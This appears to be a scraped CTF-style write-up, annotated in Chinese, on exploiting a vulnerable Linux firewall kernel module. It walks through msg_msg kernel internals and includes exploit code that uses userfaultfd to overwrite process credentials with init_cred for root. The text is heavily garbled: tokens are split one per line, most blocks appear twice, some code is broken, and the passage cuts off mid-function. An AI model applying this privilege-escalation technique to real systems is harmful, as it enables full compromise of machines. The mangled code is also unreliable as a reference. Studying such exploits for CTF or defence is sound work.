firewall_rules, uint8_t idx)
{
printk(KERN_INFO
"[Firewall::Info] firewall_edit_rule() editing rule!\n"
);
printk(KERN_INFO
"[Firewall::Error] Note that description editing is not implemented.\n"
);
if
(firewall_rules[idx]
=
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_edit_rule() invalid idx!\n"
);
return
ERROR;
}
memcpy(firewall_rules[idx]
-
>iface, user_rule.iface,
16
);
memcpy(firewall_rules[idx]
-
>name, user_rule.name,
16
);
if
(in4_pton(user_rule.ip, strnlen(user_rule.ip,
16
), (u8
*
)&(firewall_rules[idx]
-
>ip),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_edit_rule() invalid IP format!\n"
);
return
ERROR;
}
if
(in4_pton(user_rule.netmask, strnlen(user_rule.netmask,
16
), (u8
*
)&(firewall_rules[idx]
-
>netmask),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n"
);
return
ERROR;
}
firewall_rules[idx]
-
>proto
=
user_rule.proto;
firewall_rules[idx]
-
>port
=
ntohs(user_rule.port);
firewall_rules[idx]
-
>action
=
user_rule.action;
printk(KERN_ERR
"[Firewall::Info] firewall_edit_rule() rule edited!\n"
);
return
SUCCESS;
}
static
long
firewall_edit_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
printk(KERN_INFO
"[Firewall::Info] firewall_edit_rule() editing rule!\n"
);
printk(KERN_INFO
"[Firewall::Error] Note that description editing is not implemented.\n"
);
if
(firewall_rules[idx]
=
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_edit_rule() invalid idx!\n"
);
return
ERROR;
}
memcpy(firewall_rules[idx]
-
>iface, user_rule.iface,
16
);
memcpy(firewall_rules[idx]
-
>name, user_rule.name,
16
);
if
(in4_pton(user_rule.ip, strnlen(user_rule.ip,
16
), (u8
*
)&(firewall_rules[idx]
-
>ip),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_edit_rule() invalid IP format!\n"
);
return
ERROR;
}
if
(in4_pton(user_rule.netmask, strnlen(user_rule.netmask,
16
), (u8
*
)&(firewall_rules[idx]
-
>netmask),
-
1
, NULL)
=
=
0
)
{
printk(KERN_ERR
"[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n"
);
return
ERROR;
}
firewall_rules[idx]
-
>proto
=
user_rule.proto;
firewall_rules[idx]
-
>port
=
ntohs(user_rule.port);
firewall_rules[idx]
-
>action
=
user_rule.action;
printk(KERN_ERR
"[Firewall::Info] firewall_edit_rule() rule edited!\n"
);
return
SUCCESS;
}
static
long
firewall_dup_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
/
/
dup与firewall_rules应该是要统一属性
uint8_t i;
rule_t
*
*
dup;
printk(KERN_INFO
"[Firewall::Info] firewall_dup_rule() duplicating rule!\n"
);
/
/
选择对应的rules
list
dup
=
(user_rule.
type
=
=
INBOUND) ? firewall_rules_out : firewall_rules_in;
if
(firewall_rules[idx]
=
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n"
);
return
ERROR;
}
/
/
如果对应的 idx 已经设置了is_duplicated标志,
return
ERROR
if
(firewall_rules[idx]
-
>is_duplicated)
{
printk(KERN_INFO
"[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n"
);
return
ERROR;
}
/
/
扫描每个firewall_rules中每一项,设置is_duplicated
=
1
/
/
dup实际上是全局的firewall_rules_out 或者 firewall_rules_in
/
/
如果有
list
中有NULL的,那么,把pointer
list
中所有为NULL的entry都设置成firewall_rules[idx]?
/
/
实际就是用firewall_rules[idx]来填查找到的第一个NULL的,然后设置用于填充的entry is_duplicated
=
1
for
(i
=
0
; i < MAX_RULES; i
+
+
)
{
if
(dup[i]
=
=
NULL)
{
dup[i]
=
firewall_rules[idx];
firewall_rules[idx]
-
>is_duplicated
=
1
;
printk(KERN_INFO
"[Firewall::Info] firewall_dup_rule() rule duplicated!\n"
);
return
SUCCESS;
}
}
printk(KERN_INFO
"[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n"
);
return
ERROR;
}
static
long
firewall_dup_rule(user_rule_t user_rule, rule_t
*
*
firewall_rules, uint8_t idx)
{
/
/
dup与firewall_rules应该是要统一属性
uint8_t i;
rule_t
*
*
dup;
printk(KERN_INFO
"[Firewall::Info] firewall_dup_rule() duplicating rule!\n"
);
/
/
选择对应的rules
list
dup
=
(user_rule.
type
=
=
INBOUND) ? firewall_rules_out : firewall_rules_in;
if
(firewall_rules[idx]
=
=
NULL)
{
printk(KERN_INFO
"[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n"
);
return
ERROR;
}
/
/
如果对应的 idx 已经设置了is_duplicated标志,
return
ERROR
if
(firewall_rules[idx]
-
>is_duplicated)
{
printk(KERN_INFO
"[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n"
);
return
ERROR;
}
/
/
扫描每个firewall_rules中每一项,设置is_duplicated
=
1
/
/
dup实际上是全局的firewall_rules_out 或者 firewall_rules_in
/
/
如果有
list
中有NULL的,那么,把pointer
list
中所有为NULL的entry都设置成firewall_rules[idx]?
/
/
实际就是用firewall_rules[idx]来填查找到的第一个NULL的,然后设置用于填充的entry is_duplicated
=
1
for
(i
=
0
; i < MAX_RULES; i
+
+
)
{
if
(dup[i]
=
=
NULL)
{
dup[i]
=
firewall_rules[idx];
firewall_rules[idx]
-
>is_duplicated
=
1
;
printk(KERN_INFO
"[Firewall::Info] firewall_dup_rule() rule duplicated!\n"
);
return
SUCCESS;
}
}
printk(KERN_INFO
"[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n"
);
return
ERROR;
}
/
*
one msg_msg structure
for
each message
*
/
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
struct msg_msgseg
*
next
;
void
*
security;
/
/
无SELinux,这里为NULL
/
*
the actual message follows immediately
*
/
};
/
*
one msg_msg structure
for
each message
*
/
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
struct msg_msgseg
*
next
;
void
*
security;
/
/
无SELinux,这里为NULL
/
*
the actual message follows immediately
*
/
};
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
msqid
消息队列标识符
msgp
发送给队列的消息。msgp可以是任何类型的结构体,但第一个字段必须为long类型,即表明此发送消息的类型,msgrcv根据此接收消息。msgp定义的参照格式如下: struct msgbuf { long mtype; / message type, must be > 0 / char mtext[msgsz]; / message data 大小由msgsz指定,消息正文 / };
msgsz
消息大小
msgflg
标志位。0:当消息队列满时,msgsnd将会阻塞,直到消息能写进消息队列。IPC_NOWAIT:当消息队列已满的时候,msgsnd函数不等待立即返回。IPC_NOERROR:若发送的消息大于size字节,则把该消息截断,截断部分将被丢弃,且不通知发送进程。
msgp
存放消息的结构体,结构体类型要与msgsnd函数发送的类型相同
msgsz
要接收消息的大小,不含消息类型占用的4个字节
msgtyp
0:接收第一个消息。>0:接收类型等于msgtyp的第一个消息。<0:接收类型等于或者小于msgtyp绝对值的第一个消息。
msgflg
0: 阻塞式接收消息,没有该类型的消息msgrcv函数一直阻塞等待。IPC_NOWAIT:如果没有返回条件的消息调用立即返回,此时错误码为ENOMSG。IPC_EXCEPT:与msgtype配合使用返回队列中第一个类型不为msgtype的消息。IPC_NOERROR:如果队列中满足条件的消息内容大于所请求的size字节,则把该消息截断,截断部分将被丢弃。
static
long
do_msgsnd(
int
msqid,
long
mtype, void __user
*
mtext,
size_t msgsz,
int
msgflg)
{
struct msg_queue
*
msq;
struct msg_msg
*
msg;
int
err;
struct ipc_namespace
*
ns;
DEFINE_WAKE_Q(wake_q);
/
/
获取创建该消息队列的进程的IPC命名空间
ns
=
current
-
>nsproxy
-
>ipc_ns;
/
/
检查size,qid是否合法
if
(msgsz > ns
-
>msg_ctlmax || (
long
) msgsz <
0
|| msqid <
0
)
return
-
EINVAL;
if
(mtype <
1
)
return
-
EINVAL;
/
/
为内核态的msg分配空间,拷贝用户态数据到内核态
/
*
分配的时候每次分配的长度是:alen
=
min
(
len
, DATALEN_MSG),然后会计算
len
-
alen是否大于零。
如果大于
0
的话,会分配多个 struct msg_msgseg
*
seg; 直到
len
-
alen≤
0
并且分配的多个msg_msgseg会被挂在 &msg
-
>
next
链表上,多个struct msg_msgseg之间也是以&seg
-
>
next
连接的
*
/
msg
=
load_msg(mtext, msgsz);
if
(IS_ERR(msg))
return
PTR_ERR(msg);
/
/
设置message
type
和text size
msg
-
>m_type
=
mtype;
msg
-
>m_ts
=
msgsz;
rcu_read_lock();
/
/
根据namespcae和msqid进行检查
/
/
struct msg_queue
*
msq用于描述消息队列
msq
=
msq_obtain_object_check(ns, msqid);
if
(IS_ERR(msq)) {
err
=
PTR_ERR(msq);
goto out_unlock1;
}
ipc_lock_object(&msq
-
>q_perm);
for
(;;) {
struct msg_sender s;
err
=
-
EACCES;
if
(ipcperms(ns, &msq
-
>q_perm, S_IWUGO))
goto out_unlock0;
/
*
raced with RMID?
*
/
if
(!ipc_valid_object(&msq
-
>q_perm)) {
err
=
-
EIDRM;
goto out_unlock0;
}
err
=
security_msg_queue_msgsnd(&msq
-
>q_perm, msg, msgflg);
if
(err)
goto out_unlock0;
if
(msg_fits_inqueue(msq, msgsz))
break
;
/
*
queue full, wait:
*
/
if
(msgflg & IPC_NOWAIT) {
err
=
-
EAGAIN;
goto out_unlock0;
}
/
*
enqueue the sender
and
prepare to block
*
/
ss_add(msq, &s, msgsz);
if
(!ipc_rcu_getref(&msq
-
>q_perm)) {
err
=
-
EIDRM;
goto out_unlock0;
}
ipc_unlock_object(&msq
-
>q_perm);
rcu_read_unlock();
schedule();
rcu_read_lock();
ipc_lock_object(&msq
-
>q_perm);
ipc_rcu_putref(&msq
-
>q_perm, msg_rcu_free);
/
*
raced with RMID?
*
/
if
(!ipc_valid_object(&msq
-
>q_perm)) {
err
=
-
EIDRM;
goto out_unlock0;
}
ss_del(&s);
if
(signal_pending(current)) {
err
=
-
ERESTARTNOHAND;
goto out_unlock0;
}
}
ipc_update_pid(&msq
-
>q_lspid, task_tgid(current));
msq
-
>q_stime
=
ktime_get_real_seconds();
if
(!pipelined_send(msq, msg, &wake_q)) {
/
*
no one
is
waiting
for
this message, enqueue it
*
/
list_add_tail(&msg
-
>m_list, &msq
-
>q_messages);
msq
-
>q_cbytes
+
=
msgsz;
msq
-
>q_qnum
+
+
;
atomic_add(msgsz, &ns
-
>msg_bytes);
atomic_inc(&ns
-
>msg_hdrs);
}
err
=
0
;
msg
=
NULL;
out_unlock0:
ipc_unlock_object(&msq
-
>q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if
(msg !
=
NULL)
free_msg(msg);
return
err;
}
static
long
do_msgsnd(
int
msqid,
long
mtype, void __user
*
mtext,
size_t msgsz,
int
msgflg)
{
struct msg_queue
*
msq;
struct msg_msg
*
msg;
int
err;
struct ipc_namespace
*
ns;
DEFINE_WAKE_Q(wake_q);
/
/
获取创建该消息队列的进程的IPC命名空间
ns
=
current
-
>nsproxy
-
>ipc_ns;
/
/
检查size,qid是否合法
if
(msgsz > ns
-
>msg_ctlmax || (
long
) msgsz <
0
|| msqid <
0
)
return
-
EINVAL;
if
(mtype <
1
)
return
-
EINVAL;
/
/
为内核态的msg分配空间,拷贝用户态数据到内核态
/
*
分配的时候每次分配的长度是:alen
=
min
(
len
, DATALEN_MSG),然后会计算
len
-
alen是否大于零。
如果大于
0
的话,会分配多个 struct msg_msgseg
*
seg; 直到
len
-
alen≤
0
并且分配的多个msg_msgseg会被挂在 &msg
-
>
next
链表上,多个struct msg_msgseg之间也是以&seg
-
>
next
连接的
*
/
msg
=
load_msg(mtext, msgsz);
if
(IS_ERR(msg))
return
PTR_ERR(msg);
/
/
设置message
type
和text size
msg
-
>m_type
=
mtype;
msg
-
>m_ts
=
msgsz;
rcu_read_lock();
/
/
根据namespcae和msqid进行检查
/
/
struct msg_queue
*
msq用于描述消息队列
msq
=
msq_obtain_object_check(ns, msqid);
if
(IS_ERR(msq)) {
err
=
PTR_ERR(msq);
goto out_unlock1;
}
ipc_lock_object(&msq
-
>q_perm);
for
(;;) {
struct msg_sender s;
err
=
-
EACCES;
if
(ipcperms(ns, &msq
-
>q_perm, S_IWUGO))
goto out_unlock0;
/
*
raced with RMID?
*
/
if
(!ipc_valid_object(&msq
-
>q_perm)) {
err
=
-
EIDRM;
goto out_unlock0;
}
err
=
security_msg_queue_msgsnd(&msq
-
>q_perm, msg, msgflg);
if
(err)
goto out_unlock0;
if
(msg_fits_inqueue(msq, msgsz))
break
;
/
*
queue full, wait:
*
/
if
(msgflg & IPC_NOWAIT) {
err
=
-
EAGAIN;
goto out_unlock0;
}
/
*
enqueue the sender
and
prepare to block
*
/
ss_add(msq, &s, msgsz);
if
(!ipc_rcu_getref(&msq
-
>q_perm)) {
err
=
-
EIDRM;
goto out_unlock0;
}
ipc_unlock_object(&msq
-
>q_perm);
rcu_read_unlock();
schedule();
rcu_read_lock();
ipc_lock_object(&msq
-
>q_perm);
ipc_rcu_putref(&msq
-
>q_perm, msg_rcu_free);
/
*
raced with RMID?
*
/
if
(!ipc_valid_object(&msq
-
>q_perm)) {
err
=
-
EIDRM;
goto out_unlock0;
}
ss_del(&s);
if
(signal_pending(current)) {
err
=
-
ERESTARTNOHAND;
goto out_unlock0;
}
}
ipc_update_pid(&msq
-
>q_lspid, task_tgid(current));
msq
-
>q_stime
=
ktime_get_real_seconds();
if
(!pipelined_send(msq, msg, &wake_q)) {
/
*
no one
is
waiting
for
this message, enqueue it
*
/
list_add_tail(&msg
-
>m_list, &msq
-
>q_messages);
msq
-
>q_cbytes
+
=
msgsz;
msq
-
>q_qnum
+
+
;
atomic_add(msgsz, &ns
-
>msg_bytes);
atomic_inc(&ns
-
>msg_hdrs);
}
err
=
0
;
msg
=
NULL;
out_unlock0:
ipc_unlock_object(&msq
-
>q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if
(msg !
=
NULL)
free_msg(msg);
return
err;
}
msg
=
load_msg(mtext, msgsz);
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
/
/
分配空间
msg
=
alloc_msg(
len
);
if
(msg
=
=
NULL)
return
ERR_PTR(
-
ENOMEM);
alen
=
min
(
len
, DATALEN_MSG);
/
/
此时的src就是用户态的mtext
/
/
这里我们把用户态的数据拷贝进内核
if
(copy_from_user(msg
+
1
, src, alen))
goto out_err;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
src
=
(char __user
*
)src
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_from_user(seg
+
1
, src, alen))
goto out_err;
}
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
msg
=
load_msg(mtext, msgsz);
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
/
/
分配空间
msg
=
alloc_msg(
len
);
if
(msg
=
=
NULL)
return
ERR_PTR(
-
ENOMEM);
alen
=
min
(
len
, DATALEN_MSG);
/
/
此时的src就是用户态的mtext
/
/
这里我们把用户态的数据拷贝进内核
if
(copy_from_user(msg
+
1
, src, alen))
goto out_err;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
src
=
(char __user
*
)src
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_from_user(seg
+
1
, src, alen))
goto out_err;
}
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
msg
=
alloc_msg(
len
);
/
/
此时的
len
等于用户态传来的msgsz
static struct msg_msg
*
alloc_msg(size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
*
pseg;
size_t alen;
alen
=
min
(
len
, DATALEN_MSG);
msg
=
kmalloc(sizeof(
*
msg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(msg
=
=
NULL)
return
NULL;
msg
-
>
next
=
NULL;
msg
-
>security
=
NULL;
len
-
=
alen;
pseg
=
&msg
-
>
next
;
while
(
len
>
0
) {
struct msg_msgseg
*
seg;
cond_resched();
alen
=
min
(
len
, DATALEN_SEG);
seg
=
kmalloc(sizeof(
*
seg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(seg
=
=
NULL)
goto out_err;
*
pseg
=
seg;
seg
-
>
next
=
NULL;
pseg
=
&seg
-
>
next
;
len
-
=
alen;
}
return
msg;
out_err:
free_msg(msg);
return
NULL;
}
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
msg
=
alloc_msg(
len
);
/
/
此时的
len
等于用户态传来的msgsz
static struct msg_msg
*
alloc_msg(size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
*
pseg;
size_t alen;
alen
=
min
(
len
, DATALEN_MSG);
msg
=
kmalloc(sizeof(
*
msg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(msg
=
=
NULL)
return
NULL;
msg
-
>
next
=
NULL;
msg
-
>security
=
NULL;
len
-
=
alen;
pseg
=
&msg
-
>
next
;
while
(
len
>
0
) {
struct msg_msgseg
*
seg;
cond_resched();
alen
=
min
(
len
, DATALEN_SEG);
seg
=
kmalloc(sizeof(
*
seg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(seg
=
=
NULL)
goto out_err;
*
pseg
=
seg;
seg
-
>
next
=
NULL;
pseg
=
&seg
-
>
next
;
len
-
=
alen;
}
return
msg;
out_err:
free_msg(msg);
return
NULL;
}
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
msg_msg
-
-
-
-
next
-
-
-
-
> msg_msgseg
-
-
-
-
next
-
-
-
-
> msg_msgseg
-
-
-
-
next
-
-
-
-
> msg_msgseg...
msg_msg
-
-
-
-
next
-
-
-
-
> msg_msgseg
-
-
-
-
next
-
-
-
-
> msg_msgseg
-
-
-
-
next
-
-
-
-
> msg_msgseg...
=
>
0xffffffff8159e549
<
+
297
>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
=
>
0xffffffff8159e549
<
+
297
>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
if
(msgflg & MSG_COPY) {
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
struct msg_msg
*
copy_msg(struct msg_msg
*
src, struct msg_msg
*
dst)
{
struct msg_msgseg
*
dst_pseg,
*
src_pseg;
size_t
len
=
src
-
>m_ts;
size_t alen;
if
(src
-
>m_ts > dst
-
>m_ts)
return
ERR_PTR(
-
EINVAL);
alen
=
min
(
len
, DATALEN_MSG);
memcpy(dst
+
1
, src
+
1
, alen);
for
(dst_pseg
=
dst
-
>
next
, src_pseg
=
src
-
>
next
;
src_pseg !
=
NULL;
dst_pseg
=
dst_pseg
-
>
next
, src_pseg
=
src_pseg
-
>
next
) {
len
-
=
alen;
alen
=
min
(
len
, DATALEN_SEG);
memcpy(dst_pseg
+
1
, src_pseg
+
1
, alen);
}
dst
-
>m_type
=
src
-
>m_type;
dst
-
>m_ts
=
src
-
>m_ts;
return
dst;
}
if
(msgflg & MSG_COPY) {
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
struct msg_msg
*
copy_msg(struct msg_msg
*
src, struct msg_msg
*
dst)
{
struct msg_msgseg
*
dst_pseg,
*
src_pseg;
size_t
len
=
src
-
>m_ts;
size_t alen;
if
(src
-
>m_ts > dst
-
>m_ts)
return
ERR_PTR(
-
EINVAL);
alen
=
min
(
len
, DATALEN_MSG);
memcpy(dst
+
1
, src
+
1
, alen);
for
(dst_pseg
=
dst
-
>
next
, src_pseg
=
src
-
>
next
;
src_pseg !
=
NULL;
dst_pseg
=
dst_pseg
-
>
next
, src_pseg
=
src_pseg
-
>
next
) {
len
-
=
alen;
alen
=
min
(
len
, DATALEN_SEG);
memcpy(dst_pseg
+
1
, src_pseg
+
1
, alen);
}
dst
-
>m_type
=
src
-
>m_type;
dst
-
>m_ts
=
src
-
>m_ts;
return
dst;
}
static
long
do_msgrcv(
int
msqid,
void __user
*
buf,
size_t bufsz,
long
msgtyp,
int
msgflg,
long
(
*
msg_handler)(void __user
*
, struct msg_msg
*
, size_t)
)
static
long
do_msgrcv(
int
msqid,
void __user
*
buf,
size_t bufsz,
long
msgtyp,
int
msgflg,
long
(
*
msg_handler)(void __user
*
, struct msg_msg
*
, size_t)
)
0xffffffff8159f84c
<
+
636
>: call
0xffffffff8159e5b0
<store_msg>
0xffffffff8159f851
<
+
641
>: test eax,eax
0xffffffff8159f853
<
+
643
>: jne
0xffffffff8159fae9
<do_msgrcv.constprop
+
1305
>
0xffffffff8159f859
<
+
649
>: mov rdi,r15
0xffffffff8159f85c
<
+
652
>: call
0xffffffff8159e670
<free_msg>
0xffffffff8159f84c
<
+
636
>: call
0xffffffff8159e5b0
<store_msg>
0xffffffff8159f851
<
+
641
>: test eax,eax
0xffffffff8159f853
<
+
643
>: jne
0xffffffff8159fae9
<do_msgrcv.constprop
+
1305
>
0xffffffff8159f859
<
+
649
>: mov rdi,r15
0xffffffff8159f85c
<
+
652
>: call
0xffffffff8159e670
<free_msg>
/
/
msg_handler(buf, msg, bufsz)
int
store_msg(void __user
*
dest, struct msg_msg
*
msg, size_t
len
)
{
size_t alen;
struct msg_msgseg
*
seg;
alen
=
min
(
len
, DATALEN_MSG);
/
/
首先拷贝alen长度
if
(copy_to_user(dest, msg
+
1
, alen))
return
-
1
;
/
/
如果有msg_msgseg,那么紧接着dest
+
alen放如果有msg_msgseg
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
dest
=
(char __user
*
)dest
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_to_user(dest, seg
+
1
, alen))
return
-
1
;
}
return
0
;
}
/
/
msg_handler(buf, msg, bufsz)
int
store_msg(void __user
*
dest, struct msg_msg
*
msg, size_t
len
)
{
size_t alen;
struct msg_msgseg
*
seg;
alen
=
min
(
len
, DATALEN_MSG);
/
/
首先拷贝alen长度
if
(copy_to_user(dest, msg
+
1
, alen))
return
-
1
;
/
/
如果有msg_msgseg,那么紧接着dest
+
alen放如果有msg_msgseg
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
dest
=
(char __user
*
)dest
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_to_user(dest, seg
+
1
, alen))
return
-
1
;
}
return
0
;
}
struct shm_file_data {
int
id
;
struct ipc_namespace
*
ns;
struct
file
*
file
;
const struct vm_operations_struct
*
vm_ops;
};
struct shm_file_data {
int
id
;
struct ipc_namespace
*
ns;
struct
file
*
file
;
const struct vm_operations_struct
*
vm_ops;
};
/
*
Objective
and
real subjective task credentials (COW):
*
/
const struct cred __rcu
*
real_cred;
/
*
Effective (overridable) subjective task credentials (COW):
*
/
const struct cred __rcu
*
cred;
/
*
Objective
and
real subjective task credentials (COW):
*
/
const struct cred __rcu
*
real_cred;
/
*
Effective (overridable) subjective task credentials (COW):
*
/
const struct cred __rcu
*
cred;
/
/
初始化
buffer
,大小为pagesize,并且设置对应位置的指针,准备用来改cred
*
恢复userfault的区域
char uf_buffer[
0x1000
];
memset(uf_buffer,
0
, sizeof(uf_buffer));
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
), (void
*
)&init_cred,
8
);
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
+
8
), (void
*
)&init_cred,
8
);
/
/
设置struct uffdio_copy 恢复userfault
uf_copy.src
=
(unsigned
long
)uf_buffer;
uf_copy.dst
=
FAULT_PAGE;
uf_copy.
len
=
0x1000
;
uf_copy.mode
=
0
;
uf_copy.copy
=
0
;
if
(ioctl(uffd, UFFDIO_COPY, (unsigned
long
)&uf_copy)
=
=
-
1
)
/
/
wake it up
{
perror(
"uffdio_copy error"
);
exit(
-
1
);
}
/
/
初始化
buffer
,大小为pagesize,并且设置对应位置的指针,准备用来改cred
*
恢复userfault的区域
char uf_buffer[
0x1000
];
memset(uf_buffer,
0
, sizeof(uf_buffer));
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
), (void
*
)&init_cred,
8
);
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
+
8
), (void
*
)&init_cred,
8
);
/
/
设置struct uffdio_copy 恢复userfault
uf_copy.src
=
(unsigned
long
)uf_buffer;
uf_copy.dst
=
FAULT_PAGE;
uf_copy.
len
=
0x1000
;
uf_copy.mode
=
0
;
uf_copy.copy
=
0
;
if
(ioctl(uffd, UFFDIO_COPY, (unsigned
long
)&uf_copy)
=
=
-
1
)
/
/
wake it up
{
perror(
"uffdio_copy error"
);
exit(
-
1
);
}
/
*
check
if
expr
=
=
-
1
*
/
if
((expr)
=
=
-
1
){ \
do{ \
perror(
exit(EXIT_FAILURE); \
}
while
(
0
); \
}
/
*
check
if
expr
=
=
-
1
*
/
typedef struct
{
char iface[
16
];
char name[
16
];
char ip[
16
];
char netmask[
16
];
uint8_t idx;
uint8_t
type
;
uint16_t proto;
uint16_t port;
uint8_t action;
char desc[DESC_MAX];
} user_rule_t;
typedef struct
{
long
mtype;
char mtext[
1
];
}msg;
struct list_head {
struct list_head
*
next
,
*
prev;
};
/
*
one msg_msg structure
for
each message
*
/
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
void
*
next
;
/
*
struct msg_msgseg
*
next
;
*
/
void
*
security;
/
/
无SELinux,这里为NULL
/
*
the actual message follows immediately
*
/
};
int
fd;
char buf[DESC_MAX];
char msg_buffer[
0x2000
]
=
{
0
};
char recieved[
0x2000
];
uint64_t init_ipc_ns
=
0
;
uint64_t kernel_base
=
0
;
uint64_t init_task
=
0
;
uint64_t init_cred
=
0
;
pthread_t thr;
uint64_t attack_addr ;
void
*
arb_write(void
*
arg);
void debug(){
puts(
"debug()"
);
getchar();
}
void gen_dot_notation(char
*
buf, uint32_t val)
{
sprintf(buf,
"%d.%d.%d.%d"
, val &
0x000000FF
, (val &
0x0000FF00
) >>
8
, (val &
0x00FF0000
) >>
16
, (val &
0xFF000000
) >>
24
);
return
;
}
void generate(char
*
input
, user_rule_t
*
req)
{
char addr[
0x10
];
uint32_t ip
=
*
(uint32_t
*
)&
input
[
0x20
];
uint32_t netmask
=
*
(uint32_t
*
)&
input
[
0x24
];
memset(addr,
0
, sizeof(addr));
gen_dot_notation(addr, ip);
memcpy((void
*
)req
-
>ip, addr,
0x10
);
memset(addr,
0
, sizeof(addr));
gen_dot_notation(addr, netmask);
memcpy((void
*
)req
-
>netmask, addr,
0x10
);
memcpy((void
*
)req
-
>iface,
input
,
0x10
);
memcpy((void
*
)req
-
>name, (void
*
)&
input
[
0x10
],
0x10
);
memcpy((void
*
)&req
-
>proto, (void
*
)&
input
[
0x28
],
2
);
memcpy((void
*
)&req
-
>port, (void
*
)&
input
[
0x28
+
2
],
2
);
memcpy((void
*
)&req
-
>action, (void
*
)&
input
[
0x28
+
2
+
2
],
1
);
return
;
}
void firewall_add_rule(uint8_t idx,uint8_t
type
){
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
ret
=
ioctl(fd,ADD_RULE,&r);
printf(
"[+] Add Size: %#lx\n"
,sizeof(user_rule_t));
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_add_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_add_rule SUCCESS\n"
);
}
}
void firewall_dup_rule(uint8_t idx,uint8_t
type
){
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
ret
=
ioctl(fd,DUP_RULE,&r);
/
/
printf(
"[+] size: %#lx\n"
,sizeof(user_rule_t));
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_dup_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_dup_rule SUCCESS\n"
);
}
}
void firewall_delete_rule(uint8_t idx,uint8_t
type
){
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
ret
=
ioctl(fd,DELETE_RULE,&r);
/
/
printf(
"[+] size: %#lx\n"
,sizeof(user_rule_t));
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_delete_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_delete_rule SUCCESS\n"
);
}
}
void firewall_edit_rule(uint8_t idx,uint8_t
type
){
char iface[
0x10
];memset(iface,
0x61
,
0x10
);
char name[
0x10
];memset(name,
0x62
,
0x10
);
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
memcpy(r.iface,iface,
16
);
